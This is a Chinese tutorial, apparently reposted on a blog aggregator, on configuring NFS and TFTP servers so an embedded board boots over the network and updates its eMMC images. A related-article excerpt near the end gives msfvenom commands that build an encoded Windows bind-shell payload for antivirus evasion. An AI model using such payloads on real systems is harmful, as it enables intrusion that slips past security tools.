嵌入式系统使用网络镜像或使用网络更新镜像

news2024/11/16 19:56:18

在我们学习的过程中,有的时候需要多次修改镜像进行实验,那么直接在emmc上部署镜像就不是一个很好的选择了,将镜像部署到网络服务器上也许是最好的办法,你想啊,我们修改编译的新镜像就不用上传到emmc中,不用重新烧写,直接放到我们的电脑上,开发板启动的时候直接调用,这样不是更OK吗?
当然要实现这些功能,需要一些服务提前搭建好。

服务搭建

NFS服务搭建

1、ubuntu 下搭建nfs 服务器方法如下:
软件下载安装
forlinx@ubuntu:~# sudo apt-get install nfs-kernel-server nfs-common portmap
创建nfs 目录并解压文件系统(以rootfs.tar.bz2 文件系统为例,当前目录为根目录)
forlinx@ubuntu:~# cd /
forlinx@ubuntu:/# sudo mkdir nfs_rootfs
forlinx@ubuntu:/# sudo tar -xvf rootfs.tar.bz2 -C /nfs_rootfs/
修改配置文件
forlinx@ubuntu:/# sudo vim /etc/exports
在文件中添加以下配置:
/nfs_rootfs *(rw,sync,no_root_squash,no_subtree_check)
重启配置文件和服务
forlinx@ubuntu:/# sudo exportfs -rv
forlinx@ubuntu:/# sudo /etc/init.d/rpcbind restart
forlinx@ubuntu:/# sudo /etc/init.d/nfs-kernel-server restart
2、在开发板上验证nfs 服务器,执行完以下命令将nfs服务器挂载到开发板的/mnt目录,
root@imx6ulevk:~# mount -t nfs4 -o vers=4 192.168.0.57:/nfs_rootfs /mnt
挂载成功后,查看/mnt目录,会看到刚才解压的文件系统
root@imx6ulevk:~# ls /mnt/
注:192.168.0.57 为NFS 服务器主机ubuntu的IP,ubuntu的网络需设置为桥接模式,并跟开发板在同一网段,并将源码中的/OK6254-linux-fs/rootfs内容复制到/nfs_rootfs
如图:
在这里插入图片描述
开发板uboot阶段测试nfs
设置环境变量:
=> setenv ipaddr 172.16.0.141 //开发板ip
=> setenv serverip 172.16.0.142 //服务端ip
=> nfs /nfs_rootfs/bin/tar.tar //通过nfs下载文件
link up on port 1, speed 1000, full duplex
Using ethernet@8000000 device
File transfer via NFS from server 172.16.0.141; our IP address is 172.16.0.142
Filename ‘/nfs_rootfs/bin/tar.tar’.
Load address: 0x82000000
Loading: #################################################################
##############################
done
Bytes transferred = 482272 (75be0 hex)

TFTP服务搭建

1、安装服务器、客户端和守护进程
forlinx@ubuntu:~$ sudo apt-get install tftp-hpa tftpd-hpa xinetd
2、服务器配置
首先,在根目录下建一个tftpboot,并把属性改成任意用户可读写:
forlinx@ubuntu:~$ cd /
forlinx@ubuntu:~$ sudo mkdir tftpboot
forlinx@ubuntu:~$ sudo chmod 777 tftpboot
然后,进入目录 /etc/xinetd.d/,并在其中新建文件tftp,把指定的内容加入到tftp文件中:
forlinx@ubuntu:~$ cd /etc/xinetd.d/
forlinx@ubuntu:~$ sudo vim tftp
添加以下内容到tftp文件
service tftp
{
disable = no 138
socket_type = dgram
protocol = udp
wait = yes
user = root
server = /usr/sbin/in.tftpd
server_args = -s /tftpboot -c
per_source = 11
cps = 100 2
}
最后,修改配置文件/etc/default/tftpd-hpa
forlinx@ubuntu:~$ sudo vim /etc/default/tftpd-hpa
修改为
TFTP_USERNAME=“tftp”
TFTP_DIRECTORY=“/tftpboot”
TFTP_ADDRESS=“0.0.0.0:69”
TFTP_OPTIONS=“–secure -l -c -s”
注意将“TFTP_DIRECTORY” 改为新建tftpboot目录所在的路径
3、重新启动服务
forlinx@ubuntu:~$ sudo /etc/init.d/xinetd reload
forlinx@ubuntu:~$ sudo /etc/init.d/xinetd restart
forlinx@ubuntu:~$ sudo /etc/init.d/tftpd-hpa restart
4、测试服务器
测试一下,在/tftpboot文件夹下新建立一个文件
forlinx@ubuntu:/tftpboot$ sudo touch abc
进入另外一个文件夹
forlinx@ubuntu:/tftpboot$ cd /home/
forlinx@ubuntu:/home$ sudo tftp 192.168.2.51 //192.168.2.51为本机IP
tftp> get abc
tftp> quit
forlinx@ubuntu:/home$ ls
abc
如果可以下载说明服务器已经安装成功,将开发板同PC通过网线进行连接后即可使用tftp下载文件。并将AM6254镜像Image和OK6254-C.dtb放入tftpboot文件夹中
开发板uboot阶段测试tftp
设置环境变量:
=> setenv ipaddr 172.16.0.141 //开发板ip
=> setenv serverip 172.16.0.142 //服务端ip
=> tftpboot Image //通过tftp下载文件
link up on port 1, speed 1000, full duplex
Using ethernet@8000000 device
TFTP from server 172.16.0.141; our IP address is 172.16.0.142
Filename ‘Image’.
Load address: 0x82000000
Loading: #################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################T
#################################################################
#################################################################
#################################################################
#################################################################
############
1.7 MiB/s
done
Bytes transferred = 20206080 (1345200 hex)

网络启动文件系统

=> setenv ipaddr 172.16.0.142 //开发板ip
=> setenv serverip 172.16.0.141 //服务端ipsetenv
=> setenv image Image
=> setenv fdt_file OK6254-C.dtb
=> setenv netargs “setenv bootargs console=ttyS2,115200 root=/dev/nfs rw ip=172.16.0.142:172.16.0.141:172.16.0.1:255.255.255.0::eth0:off nfsroot=172.16.0.141:/nfs_rootfs,v3,tcp”
=> setenv netboot “run netargs; tftpboot ${loadaddr} ${image}; tftpboot ${fdtaddr} ${fdt_file}; booti ${loadaddr} - ${fdtaddr}”
=> saveenv
Saving Environment to MMC… Writing to MMC(0)… OK
=> run netboot

网络更新镜像

网络启动完成后,将网络文件系统中的文件拷贝到mmcblk0p1、mmcblk0p2,命令如下:
cp /boot/Image /run/media/mmcblk0p2/boot/ //更新内核镜像
cp /boot/OK6254-C.dtb /run/media/mmcblk0p2/boot/ //更新设备树
cp /boot/u-boot.img /run/media/mmcblk0p1/ //更新u-boot镜像
sync

注:网络启动后开发板的文件系统就是虚拟机中放的文件系统,开发板原本的emmc中的文件系统在/run/media/mmcblk0p2/ ,所以只需要将网络文件系统中镜像复制到emmc文件系统中镜像的对应位置即可更新镜像。如果想自动更新,设置开机自启即可,开机自启设置查看开机自启应用文档。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/22857.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Seata AT模式下的源码解析(二)

6. 一阶段 在一阶段的调用流程是 6.1 DataSource Seata最重要的一个功能就是对 DataSource 进行了代理,在用户执行插入 sql 时会在插入之间根据 sql 构建一个前置镜像出来,如果出现异常了,就可以通过 undolog 日志里面的镜像语句进行回滚&a…

[附源码]java毕业设计乡村振兴惠农推介系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

数字孪生解决方案-最新全套文件

数字孪生解决方案-最新全套文件一、建设背景二、建设思路三、建设方案四、获取 - 数字孪生全套最新解决方案合集一、建设背景 建立真实世界与虚拟世界的数据映射和数字展示,模拟对象在物理世界中的行为,实时监控物理对象的变化,反映物理世界…

存储设计——如何优化 ClickHouse 索引(一)

Keypoint ClickHouse 索引与其他 RDMS 区别稀疏主键索引及其构建ClickHouse 索引最佳实践 ClickHouse 的索引设计 Whole data: [---------------------------------------------]CounterID: [aaaaaaaaaaaaaaaaaabbbbcdeeeeeeeeeeeeefgggggggghhhhhhhhhiiiiiiiiiklll…

关于stm32的flash内存

关于stm32的flash操作,网上已经有很多详细的介绍了,这里只是总结一些告诫。 在使用flash存储数据的时候,对于新手来说,并不知道该把数据存在哪一个地址上,怕存到程序区域,或者越界。 关于这一点很容易搞清楚…

第三十五篇 Swiper 引入使用

对于Swiper来说,相信有很多人都有一定的理解,也有使用过swiper插件的,封装过类似的组件,Swiper的一个使用是非常广泛的,是开源免费、非常强大的一个触摸滑动组件,最典型的就是轮播图了;大家可以…

【机器学习技巧】回归模型的几个常用评估指标(R2、Adjusted-R2、MSE、RMSE、MAE、MAPE)及其在sklearn中的调用方式

目录回归模型评估的两个方面1. 预测值的拟合程度2. 预测值的准确度以糖尿病数据集的回归模型为计算示例-计算各指标1. 决定系数R21.1 R2求解方式一----从metrics调用r2_socre1.2 R2求解方式二----从模型调用score1.3 R2求解方式二----交叉验证调用scoringr22. 校准决定系数Adju…

【Linux】第十三章 多线程(线程互斥+线程安全和可重入+死锁+线程同步)

🏆个人主页:企鹅不叫的博客 ​ 🌈专栏 C语言初阶和进阶C项目Leetcode刷题初阶数据结构与算法C初阶和进阶《深入理解计算机操作系统》《高质量C/C编程》Linux ⭐️ 博主码云gitee链接:代码仓库地址 ⚡若有帮助可以【关注点赞收藏】…

第四章 使用Vitepress搭建文档网站

第四章 使用Vitepress搭建文档网站 文档建设一般会是一个静态网站的形式 ,这次采用 Vitepress 完成文档建设工作。 Vitepress 是一款基于Vite 的静态站点生成工具。开发的初衷就是为了建设 Vue 的文档。Vitepress 的方便之处在于,可以使用流行的 Markd…

交换综合实验以及链路聚合和VRRP

1. MSTP针对RSTP做了哪些改进?请详细说明 在划分VLAN的网络中运行RSTP/STP。局域网内的所有VLAN共享一棵生成树,被阻塞后的链路将不再承载任何流量。无法在VLAN间实现数据流量的负载均衡;导致带宽利用率、设备资源利用率较低 (1&…

基于KPCA 和 STFT 非侵入式负荷监控(Matlab代码实现)

👨‍🎓个人主页:研学社的博客 💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜…

免杀技术实际演示

生成反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -a x86 --platform win -f exe -o a.exe加密编码反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows…

String的compareTo()方法使用场景介绍及全量ASCII 码表(完整版)

String的compareTo方法使用场景介绍及全量ASCII 码表(完整版)一、介绍二、compareTo()使用场景场景一:数值型字符串比较场景二:排序比较场景三:对相同结构的日期比较三、源码分析四、全量ASCII 码表(完整版…

[前端基础] JavaScript 基础篇(上)

JavaScript的标准是 ECMAScript 。截至 2012 年,所有浏览器都完整的支持ECMAScript 5.1,旧版本的浏览器至少支持 ECMAScript 3 标准。2015年6月17日,ECMA国际组织发布了 ECMAScript 的第六版,该版本正式名称为 ECMAScript 2015&am…

steam搬砖项目全面讲解,月入8000+

哈喽大家好,我是阿阳 今天给大家分享CSGO搬砖项目,这个是最为稳定利润可观的项目,一个月净赚3万 阿阳网络创始人,8年互联网项目实战经验,个人ip打造【玩赚steam,3年买2套房】国外steam游戏搬砖&#xff08…

[附源码]java毕业设计文档管理系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

Java中Callable和Future

Java中为什么需要Callable 在java中有两种创建线程的方法: 一种是继承Thread类,重写run方法: public class TestMain {public static void main(String[] args) {MyThread t1 new MyThread();t1.start();} } class MyThread extends Thre…

值得学习的Linux内核锁(一)

在linux系统当中存在很多独占性的资源,他在同一个时间只能被一个进程使用。常见的有打印机、内存或者系统内部表现等资源。如果打印机同时被两个进程使用,打印结果就会混乱输出结果;如果一个内存资源被多个进程同时修改,进程实际的…

【Hack The Box】linux练习-- Networked

HTB 学习笔记 【Hack The Box】linux练习-- Networked 🔥系列专栏:Hack The Box 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 📆首发时间:🌴2022年11月17日🌴 &#x…

Java多线程从基本概念到精通大神,大佬给我们铺平学习之路

Java 提供了多线程编程的内置支持,让我们可以轻松开发多线程应用。 Java 中我们最为熟悉的线程就是 main 线程——主线程。 一个进程可以并发多个线程,每条线程并行执行不同的任务。线程是进程的基本单位,是一个单一顺序的控制流,…